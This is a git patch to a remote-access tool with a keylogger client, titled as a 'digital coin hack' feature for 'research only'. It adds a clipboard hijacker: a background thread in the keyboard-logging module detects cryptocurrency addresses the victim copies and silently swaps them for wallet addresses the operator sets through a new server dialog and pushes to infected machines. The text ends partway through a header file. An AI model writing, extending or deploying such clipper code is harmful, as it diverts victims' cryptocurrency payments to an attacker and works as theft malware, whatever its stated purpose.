From 1ddcd4584fc3dba49603478916f2836818339eea Mon Sep 17 00:00:00 2001
From: yuanyuanxiang <962914132@qq.com>
Date: Sun, 5 Oct 2025 17:47:11 +0800
Subject: [PATCH] Feature: Add digital coin hack feature (research only)
---
Dependencies.md | 1 +
client/ClientDll_vs2015.vcxproj | 10 +-
client/KernelManager.cpp | 3 +
client/KeyboardManager.cpp | 86 +++++++
client/KeyboardManager.h | 5 +
client/clip.h | 211 ++++++++++++++++++
client/ghost_vs2015.vcxproj | 2 +
common/commands.h | 2 +-
common/wallet.h | 105 +++++++++
lib/ReadMe.md | 2 +
server/2015Remote/2015Remote.rc | Bin 94308 -> 98196 bytes
server/2015Remote/2015RemoteDlg.cpp | 21 ++
server/2015Remote/2015RemoteDlg.h | 1 +
server/2015Remote/2015Remote_vs2015.vcxproj | 2 +
.../2015Remote_vs2015.vcxproj.filters | 2 +
server/2015Remote/CWalletDlg.cpp | 105 +++++++++
server/2015Remote/CWalletDlg.h | 38 ++++
server/2015Remote/resource.h | Bin 47470 -> 48760 bytes
18 files changed, 591 insertions(+), 5 deletions(-)
create mode 100644 client/clip.h
create mode 100644 common/wallet.h
create mode 100644 server/2015Remote/CWalletDlg.cpp
create mode 100644 server/2015Remote/CWalletDlg.h
diff --git a/Dependencies.md b/Dependencies.md
index 09535a8..c7ed9c6 100644
--- a/Dependencies.md
+++ b/Dependencies.md
@@ -14,3 +14,4 @@
- [HPSocket v6.0.3](https://github.com/ldcsaa/HP-Socket)
- [shrink v0.0.1](https://github.com/yuanyuanxiang/PrivateRemoter/tree/master/shrink)
+- [clip v1.11](https://github.com/dacap/clip)
diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj
index 577cc85..ec3ae53 100644
--- a/client/ClientDll_vs2015.vcxproj
+++ b/client/ClientDll_vs2015.vcxproj
@@ -71,21 +71,21 @@
./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common
- $(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)
+ $(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)
$(Configuration)\dll
./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common
- $(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)
+ $(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)
$(Platform)\$(Configuration)\dll
- $(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)
+ $(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)
./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common
$(Configuration)\dll
- $(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)
+ $(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)
./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common
$(Platform)\$(Configuration)\dll
@@ -197,12 +197,14 @@
+
+
diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp
index 2eabc85..22214b6 100644
--- a/client/KernelManager.cpp
+++ b/client/KernelManager.cpp
@@ -527,6 +527,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case CMD_MASTERSETTING:
if (ulLength > sizeof(MasterSettings)) {
memcpy(&m_settings, szBuffer + 1, sizeof(MasterSettings));
+ // Remark 打开键盘记录或下一次启动客户端才会生效
+ iniFile cfg(CLIENT_PATH);
+ cfg.SetStr("settings", "wallet", m_settings.WalletAddress);
}
break;
case COMMAND_KEYBOARD: //键盘记录
diff --git a/client/KeyboardManager.cpp b/client/KeyboardManager.cpp
index 51cce10..d049e4f 100644
--- a/client/KeyboardManager.cpp
+++ b/client/KeyboardManager.cpp
@@ -19,6 +19,21 @@
#include
#define CAPTION_SIZE 1024
+#include "wallet.h"
+#include "clip.h"
+#ifdef _WIN64
+#ifdef _DEBUG
+#pragma comment(lib, "clip_x64D.lib")
+#else
+#pragma comment(lib, "clip_x64.lib")
+#endif
+#else
+#ifdef _DEBUG
+#pragma comment(lib, "clipd.lib")
+#else
+#pragma comment(lib, "clip.lib")
+#endif
+#endif
CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user) : CManager(pClient)
{
@@ -30,7 +45,10 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
m_Buffer = new CircularBuffer(m_strRecordFile);
m_bIsWorking = true;
+ iniFile cfg(CLIENT_PATH);
+ m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
+ m_hClipboard = __CreateThread(NULL, 0, Clipboard, (LPVOID)this, 0, NULL);
m_hWorkThread = __CreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
m_hSendThread = __CreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
SetReady(TRUE);
@@ -39,8 +57,10 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
CKeyboardManager1::~CKeyboardManager1()
{
m_bIsWorking = false;
+ WaitForSingleObject(m_hClipboard, INFINITE);
WaitForSingleObject(m_hWorkThread, INFINITE);
WaitForSingleObject(m_hSendThread, INFINITE);
+ CloseHandle(m_hClipboard);
CloseHandle(m_hWorkThread);
CloseHandle(m_hSendThread);
m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
@@ -50,6 +70,11 @@ CKeyboardManager1::~CKeyboardManager1()
void CKeyboardManager1::Notify() {
if (NULL == this)
return;
+
+ m_mu.Lock();
+ iniFile cfg(CLIENT_PATH);
+ m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
+ m_mu.Unlock();
sendStartKeyBoard();
WaitForDialogOpen();
}
@@ -72,6 +97,13 @@ void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
}
}
+std::vector CKeyboardManager1::GetWallet() {
+ m_mu.Lock();
+ auto w = m_Wallet;
+ m_mu.Unlock();
+ return w;
+}
+
int CKeyboardManager1::sendStartKeyBoard()
{
BYTE bToken[2];
@@ -438,6 +470,60 @@ int CALLBACK WriteBuffer(const char* record, void* user) {
return 0;
}
+DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam) {
+ CKeyboardManager1* pThis = (CKeyboardManager1*)lparam;
+ while (pThis->m_bIsWorking) {
+ auto w = pThis->GetWallet();
+ if (!w.empty() && clip::has(clip::text_format())) {
+ std::string value;
+ clip::get_text(value);
+ if (value.length() > 200) {
+ Sleep(1000);
+ continue;
+ }
+ auto type = detectWalletType(value);
+ switch (type) {
+ case WALLET_UNKNOWN:
+ break;
+ case WALLET_BTC_P2PKH:
+ case WALLET_BTC_P2SH:
+ case WALLET_BTC_BECH32:
+ if (!w[ADDR_BTC].empty()) clip::set_text(w[ADDR_BTC]);
+ break;
+ case WALLET_ETH_ERC20:
+ if (!w[ADDR_ERC20].empty()) clip::set_text(w[ADDR_ERC20]);
+ break;
+ case WALLET_USDT_OMNI:
+ if (!w[ADDR_OMNI].empty()) clip::set_text(w[ADDR_OMNI]);
+ break;
+ case WALLET_USDT_TRC20:
+ if (!w[ADDR_TRC20].empty()) clip::set_text(w[ADDR_TRC20]);
+ break;
+ case WALLET_TRON:
+ if (!w[ADDR_TRON].empty()) clip::set_text(w[ADDR_TRON]);
+ break;
+ case WALLET_SOLANA:
+ if (!w[ADDR_SOL].empty()) clip::set_text(w[ADDR_SOL]);
+ break;
+ case WALLET_XRP:
+ if (!w[ADDR_XRP].empty()) clip::set_text(w[ADDR_XRP]);
+ break;
+ case WALLET_POLKADOT:
+ if (!w[ADDR_DOT].empty()) clip::set_text(w[ADDR_DOT]);
+ break;
+ case WALLET_CARDANO_SHELLEY:
+ case WALLET_CARDANO_BYRON:
+ if (!w[ADDR_ADA].empty()) clip::set_text(w[ADDR_ADA]);
+ break;
+ case WALLET_DOGE:
+ if (!w[ADDR_DOGE].empty()) clip::set_text(w[ADDR_DOGE]);
+ break;
+ }
+ Sleep(1000);
+ }
+ }
+ return 0x20251005;
+}
DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
{
diff --git a/client/KeyboardManager.h b/client/KeyboardManager.h
index ded9128..3a2fd22 100644
--- a/client/KeyboardManager.h
+++ b/client/KeyboardManager.h
@@ -220,9 +220,11 @@ public:
virtual ~CKeyboardManager1();
virtual void Notify();
virtual void OnReceive(LPBYTE lpBuffer, ULONG nSize);
+ static DWORD WINAPI Clipboard(LPVOID lparam);
static DWORD WINAPI KeyLogger(LPVOID lparam);
static DWORD WINAPI SendData(LPVOID lparam);
BOOL m_bIsOfflineRecord;
+ HANDLE m_hClipboard;
HANDLE m_hWorkThread,m_hSendThread;
TCHAR m_strRecordFile[MAX_PATH];
private:
@@ -233,6 +235,9 @@ private:
bool m_bIsWorking;
CircularBuffer *m_Buffer;
+ CLocker m_mu;
+ std::vector m_Wallet;
+ std::vector GetWallet();
};
#undef BUFFER_SIZE
diff --git a/client/clip.h b/client/clip.h
new file mode 100644
index 0000000..a6f0913
--- /dev/null
+++ b/client/clip.h
@@ -0,0 +1,211 @@
+// Clip Library
+// Copyright (c) 2015-2024 David Capello
+//
+// This file is released under the terms of the MIT license.
+// Read LICENSE.txt for more information.
+
+#ifndef CLIP_H_INCLUDED
+#define CLIP_H_INCLUDED
+#pragma once
+
+#include
+#include
+#include
+#include
+
+namespace clip {
+
+ // ======================================================================
+ // Low-level API to lock the clipboard/pasteboard and modify it
+ // ======================================================================
+
+ // Clipboard format identifier.
+ typedef size_t format;
+
+#if CLIP_ENABLE_IMAGE
+ class image;
+ struct image_spec;
+#endif // CLIP_ENABLE_IMAGE
+
+#if CLIP_ENABLE_LIST_FORMATS
+ struct format_info {
+ format id = 0;
+ std::string name;
+ format_info(const format id,
+ const std::string& name)
+ : id(id),
+ name(name) {
+ }
+ };
+#endif // CLIP_ENABLE_LIST_FORMATS
+
+ class lock {
+ public:
+ // You can give your current HWND as the "native_window_handle."
+ // Windows clipboard functions use this handle to open/close
+ // (lock/unlock) the clipboard. From the MSDN documentation we
+ // need this handler so SetClipboardData() doesn't fail after a
+ // EmptyClipboard() call. Anyway it looks to work just fine if we
+ // call OpenClipboard() with a null HWND.
+ lock(void* native_window_handle = nullptr);
+ ~lock();
+
+ // Returns true if we've locked the clipboard successfully in
+ // lock() constructor.
+ bool locked() const;
+
+ // Clears the clipboard content. If you don't clear the content,
+ // previous clipboard content (in unknown formats) could persist
+ // after the unlock.
+ bool clear();
+
+ // Returns true if the clipboard can be converted to the given
+ // format.
+ bool is_convertible(format f) const;
+ bool set_data(format f, const char* buf, size_t len);
+ bool get_data(format f, char* buf, size_t len) const;
+ size_t get_data_length(format f) const;
+
+#if CLIP_ENABLE_IMAGE
+ // For images
+ bool set_image(const image& image);
+ bool get_image(image& image) const;
+ bool get_image_spec(image_spec& spec) const;
+#endif // CLIP_ENABLE_IMAGE
+
+#if CLIP_ENABLE_LIST_FORMATS
+ // Returns the list of available formats (by name) in the
+ // clipboard.
+ std::vector list_formats() const;
+#endif // CLIP_ENABLE_LIST_FORMATS
+
+ private:
+ class impl;
+ std::unique_ptr p;
+ };
+
+ format register_format(const std::string& name);
+
+ // This format is when the clipboard has no content.
+ format empty_format();
+
+ // When the clipboard has UTF8 text.
+ format text_format();
+
+#if CLIP_ENABLE_IMAGE
+ // When the clipboard has an image.
+ format image_format();
+#endif
+
+ // Returns true if the clipboard has content of the given type.
+ bool has(format f);
+
+ // Clears the clipboard content.
+ bool clear();
+
+ // ======================================================================
+ // Error handling
+ // ======================================================================
+
+ enum class ErrorCode {
+ CannotLock,
+#if CLIP_ENABLE_IMAGE
+ ImageNotSupported,
+#endif
+ };
+
+ typedef void (*error_handler)(ErrorCode code);
+
+ void set_error_handler(error_handler f);
+ error_handler get_error_handler();
+
+ // ======================================================================
+ // Text
+ // ======================================================================
+
+ // High-level API to put/get UTF8 text in/from the clipboard. These
+ // functions returns false in case of error.
+ bool set_text(const std::string& value);
+ bool get_text(std::string& value);
+
+ // ======================================================================
+ // Image
+ // ======================================================================
+
+#if CLIP_ENABLE_IMAGE
+
+ struct image_spec {
+ unsigned long width = 0;
+ unsigned long height = 0;
+ unsigned long bits_per_pixel = 0;
+ unsigned long bytes_per_row = 0;
+ unsigned long red_mask = 0;
+ unsigned long green_mask = 0;
+ unsigned long blue_mask = 0;
+ unsigned long alpha_mask = 0;
+ unsigned long red_shift = 0;
+ unsigned long green_shift = 0;
+ unsigned long blue_shift = 0;
+ unsigned long alpha_shift = 0;
+
+ unsigned long required_data_size() const;
+ };
+
+ // The image data must contain straight RGB values
+ // (non-premultiplied by alpha). The image retrieved from the
+ // clipboard will be non-premultiplied too. Basically you will be
+ // always dealing with straight alpha images.
+ //
+ // Details: Windows expects premultiplied images on its clipboard
+ // content, so the library code make the proper conversion
+ // automatically. macOS handles straight alpha directly, so there is
+ // no conversion at all. Linux/X11 images are transferred in
+ // image/png format which are specified in straight alpha.
+ class image {
+ public:
+ image();
+ image(const image_spec& spec);
+ image(const void* data, const image_spec& spec);
+ image(const image& image);
+ image(image&& image);
+ ~image();
+
+ image& operator=(const image& image);
+ image& operator=(image&& image);
+
+ char* data() const { return m_data; }
+ const image_spec& spec() const { return m_spec; }
+
+ bool is_valid() const { return m_data != nullptr; }
+ void reset();
+
+ private:
+ void copy_image(const image& image);
+ void move_image(image&& image);
+
+ bool m_own_data;
+ char* m_data;
+ image_spec m_spec;
+ };
+
+ // High-level API to set/get an image in/from the clipboard. These
+ // functions returns false in case of error.
+ bool set_image(const image& img);
+ bool get_image(image& img);
+ bool get_image_spec(image_spec& spec);
+
+#endif // CLIP_ENABLE_IMAGE
+
+ // ======================================================================
+ // Platform-specific
+ // ======================================================================
+
+ // Only for X11: Sets the time (in milliseconds) that we must wait
+ // for the selection/clipboard owner to receive the content. This
+ // value is 1000 (one second) by default.
+ void set_x11_wait_timeout(int msecs);
+ int get_x11_wait_timeout();
+
+} // namespace clip
+
+#endif // CLIP_H_INCLUDED
diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj
index a239867..32e6da5 100644
--- a/client/ghost_vs2015.vcxproj
+++ b/client/ghost_vs2015.vcxproj
@@ -207,6 +207,7 @@
+
@@ -214,6 +215,7 @@
+
diff --git a/common/commands.h b/common/commands.h
index 21f5df3..fe964fc 100644
--- a/common/commands.h
+++ b/common/commands.h
@@ -838,7 +838,7 @@ typedef struct MasterSettings {
char MasterVersion[12]; // ذ汾
int DetectSoftware; //
int UsingFRPProxy; // ǷʹFRP
- char Reserved[472]; // Ԥ
+ char WalletAddress[472]; // Wallets
}MasterSettings;
// 100ֽ: + С + ÷ʽ + DLL
diff --git a/common/wallet.h b/common/wallet.h
new file mode 100644
index 0000000..e65251a
--- /dev/null
+++ b/common/wallet.h
@@ -0,0 +1,105 @@
+#include
+#include
+#include
+
+// Powered by ChatGPT.
+
+enum WalletType {
+ WALLET_UNKNOWN = 0,
+ WALLET_BTC_P2PKH,
+ WALLET_BTC_P2SH,
+ WALLET_BTC_BECH32,
+ WALLET_ETH_ERC20, // ETH、ERC20(含 USDT-ERC20)
+ WALLET_USDT_OMNI, // USDT Omni,BTC 网络,格式同 BTC
+ WALLET_USDT_TRC20, // USDT TRC20
+ WALLET_TRON,
+ WALLET_SOLANA,
+ WALLET_XRP,
+ WALLET_POLKADOT,
+ WALLET_CARDANO_SHELLEY,
+ WALLET_CARDANO_BYRON,
+ WALLET_DOGE // Dogecoin
+};
+
+enum AddressType {
+ ADDR_BTC = 0,
+ ADDR_ERC20,
+ ADDR_OMNI,
+ ADDR_TRC20,
+ ADDR_SOL,
+ ADDR_XRP,
+ ADDR_ADA,
+ ADDR_DOGE,
+ ADDR_DOT,
+ ADDR_TRON,
+ MAX_WALLET_NUM,
+};
+
+inline WalletType detectWalletType(const std::string& address_raw) {
+ std::string address = address_raw;
+ address.erase(0, address.find_first_not_of(" \t\n\r"));
+ address.erase(address.find_last_not_of(" \t\n\r") + 1);
+
+ // 1. ETH/ERC20(0x 开头)
+ static const std::regex eth_regex("^0x[a-fA-F0-9]{40}$");
+ if (std::regex_match(address, eth_regex)) return WALLET_ETH_ERC20;
+
+ // 2. TRC20(T 开头)
+ static const std::regex trc20_regex("^T[1-9A-HJ-NP-Za-km-z]{33}$");
+ if (std::regex_match(address, trc20_regex)) return WALLET_USDT_TRC20;
+
+ // 3. BTC Bech32(bc1 开头)
+ static const std::regex btc_bech32_regex("^bc1[0-9a-z]{6,}$");
+ if (std::regex_match(address, btc_bech32_regex)) return WALLET_BTC_BECH32;
+
+ // 4. BTC P2PKH(1 开头)
+ static const std::regex btc_p2pkh_regex("^1[1-9A-HJ-NP-Za-km-z]{25,34}$");
+ if (std::regex_match(address, btc_p2pkh_regex)) return WALLET_BTC_P2PKH;
+
+ // 5. BTC P2SH(3 开头)
+ static const std::regex btc_p2sh_regex("^3[1-9A-HJ-NP-Za-km-z]{25,34}$");
+ if (std::regex_match(address, btc_p2sh_regex)) return WALLET_BTC_P2SH;
+
+ // 6. XRP(r 开头,Base58)
+ static const std::regex xrp_regex("^r[1-9A-HJ-NP-Za-km-z]{24,34}$");
+ if (std::regex_match(address, xrp_regex)) return WALLET_XRP;
+
+ // 7. Dogecoin(D 开头,Base58)
+ static const std::regex doge_regex("^D[5-9A-HJ-NP-Ua-km-z]{33}$");
+ if (std::regex_match(address, doge_regex)) return WALLET_DOGE;
+
+ // 8. Cardano Shelley(addr1 开头)
+ static const std::regex ada_shelley_regex("^addr1[0-9a-z]{20,}$");
+ if (std::regex_match(address, ada_shelley_regex)) return WALLET_CARDANO_SHELLEY;
+
+ // 9. Cardano Byron(DdzFF 开头)
+ if (address.find("DdzFF") == 0) return WALLET_CARDANO_BYRON;
+
+ // 10. Polkadot(长度 47–48,Base58)
+ static const std::regex dot_regex("^[1-9A-HJ-NP-Za-km-z]{47,48}$");
+ if (std::regex_match(address, dot_regex)) return WALLET_POLKADOT;
+
+ // 11. Solana(32–44,无前缀,Base58)→ 容易误判,必须放最后
+ static const std::regex solana_regex("^[1-9A-HJ-NP-Za-km-z]{32,44}$");
+ if (std::regex_match(address, solana_regex)) return WALLET_SOLANA;
+
+ return WALLET_UNKNOWN;
+}
+
+inline std::string walletTypeToString(WalletType type) {
+ switch (type) {
+ case WALLET_BTC_P2PKH: return "Bitcoin P2PKH (includes USDT-OMNI)";
+ case WALLET_BTC_P2SH: return "Bitcoin P2SH (includes USDT-OMNI)";
+ case WALLET_BTC_BECH32: return "Bitcoin Bech32";
+ case WALLET_ETH_ERC20: return "Ethereum / ERC20 (includes USDT-ERC20)";
+ case WALLET_USDT_TRC20: return "USDT TRC20";
+ case WALLET_TRON: return "TRON (same as USDT-TRC20)";
+ case WALLET_SOLANA: return "Solana";
+ case WALLET_XRP: return "XRP";
+ case WALLET_POLKADOT: return "Polkadot";
+ case WALLET_CARDANO_SHELLEY: return "Cardano Shelley";
+ case WALLET_CARDANO_BYRON: return "Cardano Byron";
+ case WALLET_DOGE: return "Dogecoin";
+ default: return "Unknown or Unsupported";
+ }
+}
diff --git a/lib/ReadMe.md b/lib/ReadMe.md
index 4af73b6..79c1be8 100644
--- a/lib/ReadMe.md
+++ b/lib/ReadMe.md
@@ -1,3 +1,5 @@
# Requirements
- HPSocket: https://github.com/ldcsaa/HP-Socket.git
+
+- Clip: https://github.com/dacap/clip.git
diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc
index 0f98596adc4608a49963ce94f05186e53134682b..4cfc94494787583a4bf8fa2a775da7240e3a7b78 100644
GIT binary patch
delta 1270
zcmaJ>-%C?r7=90FR!$Qq{W5A==_IZ5(>c4*nq;;%x1E?_sBOB<3|e
z!YL@is{$bsFNAI~YF#g~i|!J-2m|vU$n}2P&e`z%f7S
z8JAO)l{v6JjBi8`pMwzBce3St7c!l)d!p-T3oI%z2q$q9+{+1m~t+1^Wg+g^Rxs&nM_ceDP7_MW#V4M^J_ZVwGt<(se@+f4~p-4~=C0>waZvAG2%W
z^Y7cW1yncbTo(yjTA+-ZnX;YQeWA>rV2&?3%*?xXywZxb-$7Qscp2Z~MmH0x_y=2H
BE2{ti
delta 43
ycmbR8pY_QD)(!uTOfI;&Ve_6#d}`Ahgc!LtGySSl-=@U4%L637{a!ZXHemq#WfhJ9
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index d695adb..f393feb 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -39,6 +39,8 @@
#include "client/MemoryModule.h"
#include
#include "CDrawingBoard.h"
+#include "CWalletDlg.h"
+#include
#ifdef _DEBUG
#define new DEBUG_NEW
@@ -474,6 +476,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_ONLINE_ADD_WATCH, &CMy2015RemoteDlg::OnOnlineAddWatch)
ON_NOTIFY(NM_CUSTOMDRAW, IDC_ONLINE, &CMy2015RemoteDlg::OnNMCustomdrawOnline)
ON_COMMAND(ID_ONLINE_RUN_AS_ADMIN, &CMy2015RemoteDlg::OnOnlineRunAsAdmin)
+ ON_COMMAND(ID_MAIN_WALLET, &CMy2015RemoteDlg::OnMainWallet)
END_MESSAGE_MAP()
@@ -1052,6 +1055,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
int n = THIS_CFG.GetInt("settings", "SoftwareDetect");
int usingFRP = master.empty() ? 0 : THIS_CFG.GetInt("frp", "UseFrp");
m_settings = { m, sizeof(void*) == 8, __DATE__, n, usingFRP };
+ auto w = THIS_CFG.GetStr("settings", "wallet", "");
+ memcpy(m_settings.WalletAddress, w.c_str(), w.length());
std::map myMap = {{SOFTWARE_CAMERA, "摄像头"}, {SOFTWARE_TELEGRAM, "电报" }};
std::string str = myMap[n];
LVCOLUMN lvColumn;
@@ -3284,3 +3289,19 @@ void CMy2015RemoteDlg::OnOnlineRunAsAdmin()
LeaveCriticalSection(&m_cs);
}
}
+
+
+void CMy2015RemoteDlg::OnMainWallet()
+{
+ CWalletDlg dlg(this);
+ dlg.m_str = CString(m_settings.WalletAddress);
+ if (dlg.DoModal() != IDOK || CString(m_settings.WalletAddress) == dlg.m_str)
+ return;
+ if (dlg.m_str.GetLength() > 470) {
+ MessageBox("超出钱包地址可输入的字符数限制!", "提示", MB_ICONINFORMATION);
+ return;
+ }
+ strcpy(m_settings.WalletAddress, dlg.m_str);
+ THIS_CFG.SetStr("settings", "wallet", m_settings.WalletAddress);
+ SendMasterSettings(nullptr);
+}
diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h
index 21c7b24..1534801 100644
--- a/server/2015Remote/2015RemoteDlg.h
+++ b/server/2015Remote/2015RemoteDlg.h
@@ -304,4 +304,5 @@ public:
afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnOnlineRunAsAdmin();
afx_msg LRESULT OnShowErrMessage(WPARAM wParam, LPARAM lParam);
+ afx_msg void OnMainWallet();
};
diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj
index 2b8ae57..bf4a89d 100644
--- a/server/2015Remote/2015Remote_vs2015.vcxproj
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj
@@ -268,6 +268,7 @@
+
@@ -339,6 +340,7 @@
+
diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters
index 8b17897..dbefb42 100644
--- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters
@@ -53,6 +53,7 @@
+
@@ -118,6 +119,7 @@
+
diff --git a/server/2015Remote/CWalletDlg.cpp b/server/2015Remote/CWalletDlg.cpp
new file mode 100644
index 0000000..e6d6f58
--- /dev/null
+++ b/server/2015Remote/CWalletDlg.cpp
@@ -0,0 +1,105 @@
+// CWalletDlg.cpp: 实现文件
+//
+
+#include "stdafx.h"
+#include "CWalletDlg.h"
+#include "afxdialogex.h"
+#include "Resource.h"
+#include "wallet.h"
+
+
+// CWalletDlg 对话框
+
+IMPLEMENT_DYNAMIC(CWalletDlg, CDialogEx)
+
+CWalletDlg::CWalletDlg(CWnd* pParent /*=nullptr*/)
+ : CDialogEx(IDD_DIALOG_WALLET, pParent)
+{
+
+}
+
+CWalletDlg::~CWalletDlg()
+{
+}
+
+void CWalletDlg::DoDataExchange(CDataExchange* pDX)
+{
+ CDialogEx::DoDataExchange(pDX);
+ DDX_Control(pDX, IDC_EDIT_WALLET_BTC, m_EditBTC);
+ DDX_Control(pDX, IDC_EDIT_WALLET_ERC20, m_EditERC20);
+ DDX_Control(pDX, IDC_EDIT_WALLET_OMNI, m_EditOMNI);
+ DDX_Control(pDX, IDC_EDIT_WALLET_TRC20, m_EditTRC20);
+ DDX_Control(pDX, IDC_EDIT_WALLET_SOL, m_EditSOL);
+ DDX_Control(pDX, IDC_EDIT_WALLET_XRP, m_EditXRP);
+ DDX_Control(pDX, IDC_EDIT_WALLET_ADA, m_EditADA);
+ DDX_Control(pDX, IDC_EDIT_WALLET_DOGE, m_EditDOGE);
+ DDX_Control(pDX, IDC_EDIT_WALLET_DOT, m_EditDOT);
+ DDX_Control(pDX, IDC_EDIT_WALLET_TRON, m_EditTRON);
+}
+
+
+BEGIN_MESSAGE_MAP(CWalletDlg, CDialogEx)
+END_MESSAGE_MAP()
+
+
+// CWalletDlg 消息处理程序
+
+
+BOOL CWalletDlg::OnInitDialog()
+{
+ CDialogEx::OnInitDialog();
+
+ auto a = StringToVector(m_str.GetString(), ';', MAX_WALLET_NUM);
+ m_EditBTC.SetWindowTextA(a[ADDR_BTC].c_str());
+ m_EditERC20.SetWindowTextA(a[ADDR_ERC20].c_str());
+ m_EditOMNI.SetWindowTextA(a[ADDR_OMNI].c_str());
+ m_EditTRC20.SetWindowTextA(a[ADDR_TRC20].c_str());
+ m_EditSOL.SetWindowTextA(a[ADDR_SOL].c_str());
+ m_EditXRP.SetWindowTextA(a[ADDR_XRP].c_str());
+ m_EditADA.SetWindowTextA(a[ADDR_ADA].c_str());
+ m_EditDOGE.SetWindowTextA(a[ADDR_DOGE].c_str());
+ m_EditDOT.SetWindowTextA(a[ADDR_DOT].c_str());
+ m_EditTRON.SetWindowTextA(a[ADDR_TRON].c_str());
+
+ return TRUE;
+}
+
+CString JoinCStringArray(const CString arr[], int size, TCHAR delimiter)
+{
+ CString result;
+ for (int i = 0; i < size; ++i)
+ {
+ result += arr[i];
+ if (i != size - 1)
+ result += delimiter;
+ }
+ return result;
+}
+
+void CWalletDlg::OnOK()
+{
+ CString a[MAX_WALLET_NUM];
+ m_EditBTC.GetWindowTextA(a[ADDR_BTC]);
+ m_EditERC20.GetWindowTextA(a[ADDR_ERC20]);
+ m_EditOMNI.GetWindowTextA(a[ADDR_OMNI]);
+ m_EditTRC20.GetWindowTextA(a[ADDR_TRC20]);
+ m_EditSOL.GetWindowTextA(a[ADDR_SOL]);
+ m_EditXRP.GetWindowTextA(a[ADDR_XRP]);
+ m_EditADA.GetWindowTextA(a[ADDR_ADA]);
+ m_EditDOGE.GetWindowTextA(a[ADDR_DOGE]);
+ m_EditDOT.GetWindowTextA(a[ADDR_DOT]);
+ m_EditTRON.GetWindowTextA(a[ADDR_TRON]);
+
+ for (int i = 0; i < MAX_WALLET_NUM; ++i) {
+ if (a[i].IsEmpty()) continue;
+ if (WALLET_UNKNOWN == detectWalletType(a[i].GetString())) {
+ char tip[100];
+ sprintf(tip, "第 %d 个钱包地址不合法!", i + 1);
+ MessageBox(CString(tip), "提示", MB_ICONINFORMATION);
+ return;
+ }
+ }
+ m_str = JoinCStringArray(a, MAX_WALLET_NUM, _T(';'));
+
+ CDialogEx::OnOK();
+}
diff --git a/server/2015Remote/CWalletDlg.h b/server/2015Remote/CWalletDlg.h
new file mode 100644
index 0000000..54f3bd2
--- /dev/null
+++ b/server/2015Remote/CWalletDlg.h
@@ -0,0 +1,38 @@
+#pragma once
+
+
+// CWalletDlg 对话框
+
+class CWalletDlg : public CDialogEx
+{
+ DECLARE_DYNAMIC(CWalletDlg)
+
+public:
+ CWalletDlg(CWnd* pParent = nullptr); // 标准构造函数
+ virtual ~CWalletDlg();
+
+ CString m_str;
+
+// 对话框数据
+#ifdef AFX_DESIGN_TIME
+ enum { IDD = IDD_DIALOG_WALLET };
+#endif
+
+protected:
+ virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
+
+ DECLARE_MESSAGE_MAP()
+public:
+ CEdit m_EditBTC;
+ CEdit m_EditERC20;
+ CEdit m_EditOMNI;
+ CEdit m_EditTRC20;
